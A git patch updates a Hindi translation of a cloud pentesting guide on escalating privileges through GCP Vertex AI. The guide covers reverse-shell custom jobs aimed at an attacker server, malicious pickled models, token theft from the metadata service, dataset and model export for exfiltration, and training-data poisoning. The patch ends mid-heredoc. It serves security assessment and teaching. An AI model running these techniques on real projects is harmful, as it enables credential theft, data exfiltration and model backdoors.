From 591e0ed7c8cd62f71058a86b67188d5c3955ca56 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Nov 2025 10:26:10 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../gcp-vertex-ai-privesc.md | 150 +++++++++--------- 1 file changed, 75 insertions(+), 75 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index 8bae3f47d..60184b286 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,7 +4,7 @@ ## Vertex AI -For more information about Vertex AI check: +Vertex AI के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md @@ -12,15 +12,15 @@ For more information about Vertex AI check: ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -लक्षित service account पर `aiplatform.customJobs.create` permission और `iam.serviceAccounts.actAs` होने पर, एक हमलावर उच्चाधिकारों के साथ मनमाना कोड चला सकता है। +यदि किसी लक्षित service account पर `aiplatform.customJobs.create` permission और `iam.serviceAccounts.actAs` मौजूद हों, तो attacker **उच्चाधिकरों के साथ arbitrary code निष्पादित कर सकता है**। -यह इस तरह काम करता है: एक custom training job बनाकर जो हमलावर-नियंत्रित कोड चलाता है (या तो एक custom container या Python package)। `--service-account` flag के माध्यम से किसी privileged service account को निर्दिष्ट करके, job उस service account के permissions inherit कर लेता है। यह job Google-managed infrastructure पर चलता है और GCP metadata service तक पहुँच रखता है, जिससे service account के OAuth access token को निकालना संभव हो जाता है। +यह तब काम करता है जब एक custom training job बनाया जाता है जो attacker-controlled code चलाता है (या तो एक custom container या Python package)। `--service-account` flag के माध्यम से एक privileged service account निर्दिष्ट करने पर, job उस service account की permissions inherit कर लेता है। Job Google-managed infrastructure पर चलता है और GCP metadata service तक पहुँच रखता है, जिससे service account के OAuth access token को extract करना संभव हो जाता है। -**प्रभाव**: लक्ष्य service account के permissions तक पूर्ण privilege escalation। +**प्रभाव**: लक्ष्य service account की permissions तक पूर्ण privilege escalation।
-reverse shell के साथ custom job बनाना +reverse shell के साथ custom job बनाएँ ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
-वैकल्पिक: logs से token निकालें +वैकल्पिक: लॉग से token निकालें ```bash # Method 3: View in logs (less reliable, logs may be delayed) gcloud ai custom-jobs create \ @@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region= ```
-> [!CAUTION] -> Custom job निर्दिष्ट service account के permissions के साथ चलेगा। सुनिश्चित करें कि आपके पास target service account पर `iam.serviceAccounts.actAs` permission है। ### `aiplatform.models.upload`, `aiplatform.models.get` -यह तकनीक Vertex AI पर एक मॉडल अपलोड करके privilege escalation हासिल करती है और फिर उस मॉडल का उपयोग endpoint deployment या batch prediction job के माध्यम से उच्च अधिकारों के साथ कोड चलाने के लिए किया जा सकता है। +यह तकनीक Vertex AI में एक मॉडल अपलोड करके और फिर उस मॉडल का उपयोग करके endpoint deployment या batch prediction job के माध्यम से उच्चाधिकारों के साथ कोड निष्पादित करके privilege escalation हासिल करती है। > [!NOTE] -> इस हमले को करने के लिए आपके पास एक सार्वजनिक रूप से पढ़ने योग्य GCS bucket होना चाहिए, या model artifacts अपलोड करने के लिए नया bucket बनाना होगा। +> इस हमला को करने के लिए आपके पास एक world readable GCS bucket होना चाहिए या मॉडल artifacts अपलोड करने के लिए एक नया bucket बनाना होगा।
-Upload malicious pickled model with reverse shell +reverse shell वाले malicious pickled model को अपलोड करना ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -113,7 +111,7 @@ gcloud ai models upload \
-container reverse shell के साथ मॉडल अपलोड करें +मॉडल अपलोड करें जिसमें container reverse shell हो ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -145,16 +143,16 @@ gcloud ai models upload \
> [!DANGER] -> Malicious model अपलोड करने के बाद एक attacker किसी के द्वारा मॉडल के उपयोग करने का इंतज़ार कर सकता है, या खुद मॉडल को endpoint deployment या batch prediction job के माध्यम से लॉन्च कर सकता है। +> दुष्ट मॉडल अपलोड करने के बाद attacker किसी के मॉडल का उपयोग करने का इंतजार कर सकता है, या endpoint deployment या batch prediction job के माध्यम से स्वयं मॉडल लॉन्च कर सकता है। #### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -यदि आपके पास models को endpoints पर create और deploy करने, या endpoint IAM policies को modify करने की permissions हैं, तो आप प्रोजेक्ट में अपलोड किए गए malicious models का उपयोग करके privilege escalation प्राप्त कर सकते हैं। किसी endpoint के माध्यम से पहले से अपलोड किए गए malicious models में से एक को trigger करने के लिए आपको बस निम्न करना है: +यदि आपके पास endpoints पर models create और deploy करने, या endpoint IAM policies को modify करने की permissions हैं, तो आप project में अपलोड किए गए दुष्ट मॉडलों का उपयोग करके privilege escalation हासिल कर सकते हैं। किसी पहले से अपलोड किए गए दुष्ट मॉडल को endpoint के माध्यम से trigger करने के लिए आपको बस यह करना होगा:
-मैलिसियस मॉडल को endpoint पर डिप्लॉय करें +दुष्ट मॉडल को endpoint पर deploy करें ```bash # Create an endpoint gcloud ai endpoints create \ @@ -175,14 +173,16 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -यदि आपके पास **batch prediction jobs** बनाने और एक service account के साथ उसे चलाने की अनुमति है, तो आप metadata service तक पहुँच सकते हैं। बैच prediction प्रक्रिया के दौरान दुष्ट कोड **custom prediction container** या **malicious model** से निष्पादित होता है। +यदि आपके पास एक **batch prediction jobs** बनाने और उसे एक service account के साथ चलाने की अनुमति है, तो आप metadata service तक पहुँच सकते हैं। दुर्भावनापूर्ण कोड batch prediction प्रक्रिया के दौरान एक **custom prediction container** या **malicious model** से निष्पादित होता है। + +**Note**: Batch prediction jobs केवल REST API या Python SDK के माध्यम से ही बनाए जा सकते हैं (gcloud CLI का समर्थन नहीं)। > [!NOTE] -> यह हमला पहले एक malicious model अपलोड करने की आवश्यकता रखता है (ऊपर `aiplatform.models.upload` सेक्शन देखें) या अपने reverse shell code के साथ एक custom prediction container का उपयोग करने पर निर्भर करता है। +> इस attack के लिए पहले एक malicious model अपलोड करना आवश्यक है (ऊपर `aiplatform.models.upload` सेक्शन देखें) या अपने reverse shell code के साथ एक custom prediction container का उपयोग करना।
-malicious model के साथ batch prediction job बनाएं +malicious model के साथ batch prediction job बनाएँ ```bash # Step 1: Upload a malicious model with custom prediction container that executes reverse shell gcloud ai models upload \ @@ -238,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -यदि आपके पास **models.export** अनुमति है, तो आप model artifacts को ऐसे GCS bucket में export कर सकते हैं जिसे आप नियंत्रित करते हैं, जिससे संभावित रूप से संवेदनशील training data या model files तक पहुँच मिल सकती है। +यदि आपके पास **models.export** अनुमति है, तो आप मॉडल आर्टिफैक्ट्स को अपने नियंत्रण वाले GCS bucket में निर्यात कर सकते हैं, जिससे संवेदनशील प्रशिक्षण डेटा या मॉडल फ़ाइलों तक पहुँच संभव हो सकती है। > [!NOTE] -> इस हमले को करने के लिए आवश्यक है कि आपके पास किसी ऐसे GCS bucket का होना चाहिए जो सभी के लिए पढ़ने और लिखने के लिए खुला हो, या model artifacts अपलोड करने के लिए नया bucket बनाना होगा। +> इस हमले को करने के लिए आवश्यक है कि आपके पास एक सार्वजनिक रूप से पढ़ने और लिखने योग्य GCS bucket हो या मॉडल आर्टिफैक्ट्स अपलोड करने के लिए एक नया ऐसा bucket बनाना हो।
-GCS bucket में model artifacts export करें +मॉडल आर्टिफैक्ट्स को GCS bucket में निर्यात करें ```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" @@ -272,12 +272,12 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -ऐसी **ML pipeline jobs** बनाएं जो arbitrary containers के साथ कई स्टेप्स चलाती हैं और reverse shell access के माध्यम से privilege escalation हासिल करती हैं। +ऐसे **ML pipeline jobs** बनाएं जो arbitrary containers के साथ कई चरणों को निष्पादित करें और reverse shell access के माध्यम से privilege escalation हासिल करें। -Pipelines privilege escalation के लिए विशेष रूप से शक्तिशाली हैं क्योंकि वे multi-stage attacks का समर्थन करते हैं, जहाँ प्रत्येक component अलग-अलग containers और configurations का उपयोग कर सकता है। +Pipelines विशेष रूप से privilege escalation के लिए शक्तिशाली होते हैं क्योंकि वे multi-stage attacks का समर्थन करते हैं जहाँ प्रत्येक component अलग containers और configurations का उपयोग कर सकता है। > [!NOTE] -> pipeline root के रूप में उपयोग करने के लिए आपको एक world writable GCS bucket की आवश्यकता है। +> आपको pipeline root के रूप में उपयोग करने के लिए एक world writable GCS bucket चाहिए।
@@ -384,11 +384,11 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -कस्टम training containers के माध्यम से उच्चाधिकार के साथ arbitrary code चलाने वाले **hyperparameter tuning jobs** बनाएं। +कस्टम training containers के माध्यम से उच्चाधिकारों के साथ मनमाना कोड निष्पादित करने वाले **hyperparameter tuning jobs** बनाएं। -Hyperparameter tuning jobs आपको समानांतर में कई training trials चलाने की अनुमति देते हैं, हर एक में अलग hyperparameter values के साथ। किसी malicious container को specify करके जिसमें reverse shell या exfiltration command हो और जिसे किसी privileged service account से associate किया गया हो, आप privilege escalation हासिल कर सकते हैं। +Hyperparameter tuning jobs आपको अलग-अलग hyperparameter मानों वाले कई training trials को समानांतर में चलाने की अनुमति देते हैं। एक दुर्भावनापूर्ण container जिसमें reverse shell या exfiltration command हो, उसे एक privileged service account से जोड़कर, आप privilege escalation प्राप्त कर सकते हैं। -**Impact**: लक्ष्य service account की permissions तक पूर्ण privilege escalation। +**प्रभाव**: लक्ष्य service account के permissions तक पूर्ण privilege escalation।
@@ -433,15 +433,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -**datasets** को exfiltrate करने के लिए प्रशिक्षण डेटा export करें जो संवेदनशील जानकारी शामिल कर सकता है। +संवेदनशील जानकारी वाले प्रशिक्षण डेटा को exfiltrate करने के लिए **datasets** को export करें। -**Note**: Dataset संचालन के लिए REST API या Python SDK की आवश्यकता होती है (datasets के लिए gcloud CLI का समर्थन नहीं है)। +**Note**: Dataset ऑपरेशन्स के लिए REST API या Python SDK की आवश्यकता होती है (datasets के लिए gcloud CLI समर्थन नहीं है)। -Datasets अक्सर मूल प्रशिक्षण डेटा रखते हैं, जिनमें PII, गोपनीय व्यावसायिक डेटा, या अन्य संवेदनशील जानकारी शामिल हो सकती है जो production models को train करने के लिए उपयोग की गई थी। +Datasets अक्सर मूल प्रशिक्षण डेटा रखते हैं, जिनमें PII, गोपनीय व्यापारिक डेटा, या अन्य संवेदनशील जानकारी हो सकती है जो production models को प्रशिक्षित करने के लिए उपयोग की गई थी।
-exfiltrate करने के लिए dataset को export करें +प्रशिक्षण डेटा को exfiltrate करने के लिए dataset export करें ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -490,25 +490,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -मौजूदा datasets में malicious या poisoned डेटा import करके **model training को manipulate करना और backdoors introduce करना**। +मौजूदा datasets में malicious या poisoned data import करें ताकि **model training को manipulate करके backdoors introduce किए जा सकें**। -**Note**: Dataset ऑपरेशन्स के लिए REST API या Python SDK की जरूरत होती है (datasets के लिए gcloud CLI support नहीं है)। +**Note**: Dataset operations के लिए REST API या Python SDK आवश्यक हैं (datasets के लिए gcloud CLI support उपलब्ध नहीं है)। -Training के लिए उपयोग किए जाने वाले किसी dataset में crafted डेटा import करके, एक हमलावर कर सकता है: -- Models में backdoors introduce करना (trigger-based misclassification) -- Training data को poison करके model performance घटाना -- Data inject करके models को information leak करने पर मजबूर करना -- विशिष्ट inputs के लिए model के व्यवहार को manipulate करना +training के लिए उपयोग किए जाने वाले किसी dataset में तैयार किया गया data import करने से, एक attacker निम्न कर सकता है: +- models में backdoors introduce करें (trigger-based misclassification) +- Poison training data करके model के प्रदर्शन को degrade करें +- models को information leak करने के लिए data inject करें +- विशिष्ट inputs के लिए model के व्यवहार को manipulate करें -यह हमला विशेष रूप से प्रभावी होता है जब target किए गए datasets का उपयोग निम्न के लिए होता है: -- Image classification (गलत लेबल वाली images inject करना) -- Text classification (biased या malicious text inject करना) -- Object detection (bounding boxes को manipulate करना) -- Recommendation systems (fake preferences inject करना) +यह attack विशेष रूप से प्रभावी होता है जब उन datasets को target किया जाए जो उपयोग होते हैं: +- Image classification (mislabeled images inject करें) +- Text classification (biased या malicious text inject करें) +- Object detection (bounding boxes manipulate करें) +- Recommendation systems (fake preferences inject करें)
-Import poisoned data into dataset +dataset में poisoned data import करें ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -596,7 +596,7 @@ done > label_flip.jsonl
-Data poisoning के लिए model extraction +Data poisoning for model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -623,38 +623,38 @@ EOF
> [!DANGER] -> डेटा पॉइज़निंग हमले गंभीर परिणाम पैदा कर सकते हैं: -> - **Security systems**: फेसियल रिकॉग्निशन या anomaly detection को बायपास करना -> - **Fraud detection**: मॉडल्स को विशेष फ्रॉड पैटर्न की अनदेखी करने के लिए ट्रेन करना -> - **Content moderation**: हानिकारक कंटेंट को सुरक्षित के रूप में वर्गीकृत कराना -> - **Medical AI**: महत्वपूर्ण स्वास्थ्य स्थितियों को गलत तरीके से वर्गीकृत करना -> - **Autonomous systems**: सुरक्षा-संवेदनशील निर्णयों के लिए object detection को manipulate करना -> -> **Impact**: -> - बैकडोर्ड मॉडल जो विशेष ट्रिगर्स पर गलत क्लासिफिकेशन करते हैं -> - मॉडल प्रदर्शन और सटीकता में गिरावट -> - पक्षपाती मॉडल जो कुछ इनपुट्स के खिलाफ भेदभाव करते हैं -> - मॉडल व्यवहार के माध्यम से सूचना का रिसाव -> - दीर्घकालिक स्थिरता (poisoned data पर ट्रेन किए गए मॉडल बैकडोर विरासत में पाते हैं) - - -### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` - +> Data poisoning attacks के गंभीर परिणाम हो सकते हैं: +> - **Security systems**: facial recognition या anomaly detection को बायपास करना +> - **Fraud detection**: विशेष fraud patterns को अनदेखा करने के लिए models को train करना +> - **Content moderation**: हानिकारक content को safe के रूप में classify करवा देना +> - **Medical AI**: महत्वपूर्ण स्वास्थ्य स्थितियों को गलत तरीके से classify करना +> - **Autonomous systems**: safety-critical निर्णयों के लिए object detection को manipulate करना +> +> **प्रभाव**: +> - Backdoored models जो विशिष्ट triggers पर गलत वर्गीकरण करते हैं +> - मॉडल के प्रदर्शन और सटीकता में गिरावट +> - पक्षपातपूर्ण मॉडल जो कुछ इनपुट के खिलाफ भेदभाव करते हैं +> - मॉडल के व्यवहार के माध्यम से information leakage +> - दीर्घकालिक स्थिरता (poisoned data पर trained मॉडल backdoor को inherit कर लेंगे) +> +> +> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` +> > [!WARNING] > > [!NOTE] -> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API को Vertex AI Workbench Managed Notebooks के deprecation के हिस्से के रूप में deprecated कर दिया गया है। आधुनिक तरीका **Vertex AI Workbench Executor** का उपयोग करना है जो notebooks को `aiplatform.customJobs.create` के माध्यम से चलाता है (ऊपर पहले ही document किया हुआ है)। -> Vertex AI Workbench Executor एक निर्दिष्ट service account के साथ Vertex AI custom training infrastructure पर निष्पादित होने वाले notebook runs को शेड्यूल करने की अनुमति देता है। यह मूल रूप से `customJobs.create` के चारों ओर एक सुविधा-सुविधा wrapper है। -> **For privilege escalation via notebooks**: ऊपर document किए गए `aiplatform.customJobs.create` मेथड का उपयोग करें, जो तेज़, अधिक भरोसेमंद है, और Workbench Executor के समान underlying infrastructure का उपयोग करता है। - -**The following technique is provided for historical context only and is not recommended for use in new assessments.** - -ऐसी **notebook execution jobs** बनाएं जो arbitrary code के साथ Jupyter notebooks चलाती हों। - -Notebook jobs interactive-शैली के कोड निष्पादन के लिए एक service account के साथ आदर्श होते हैं, क्योंकि ये Python code cells और shell commands का समर्थन करते हैं। - -
- -दुष्ट notebook फ़ाइल बनाएं +> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API को Vertex AI Workbench Managed Notebooks के deprecated होने के हिस्से के रूप में deprecated कर दिया गया है। आधुनिक तरीका है **Vertex AI Workbench Executor** का उपयोग करना जो notebooks को `aiplatform.customJobs.create` के माध्यम से चलाता है (ऊपर पहले ही दस्तावेजीकृत)। +> Vertex AI Workbench Executor निर्दिष्ट service account के साथ Vertex AI custom training infrastructure पर execute होने वाले notebook runs को schedule करने की अनुमति देता है। यह मौलिक रूप से `customJobs.create` का एक सुविधा-आधारित wrapper है। +> **Notebooks के माध्यम से privilege escalation के लिए**: ऊपर दस्तावेजीकृत `aiplatform.customJobs.create` method का उपयोग करें, जो तेज़, अधिक विश्वसनीय है और Workbench Executor के समान underlying infrastructure का उपयोग करता है। +> +> **निम्नलिखित तकनीक केवल ऐतिहासिक संदर्भ के लिए दी गई है और नए आकलनों में उपयोग की सिफारिश नहीं की जाती।** +> +> ऐसे **notebook execution jobs** बनाएं जो arbitrary code के साथ Jupyter notebooks चलाते हैं। +> +> Notebook jobs interactive-style code execution के लिए service account के साथ आदर्श हैं, क्योंकि वे Python code cells और shell commands को सपोर्ट करते हैं। +> +>
+> +> दुर्भावनापूर्ण notebook फ़ाइल बनाएं ```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF'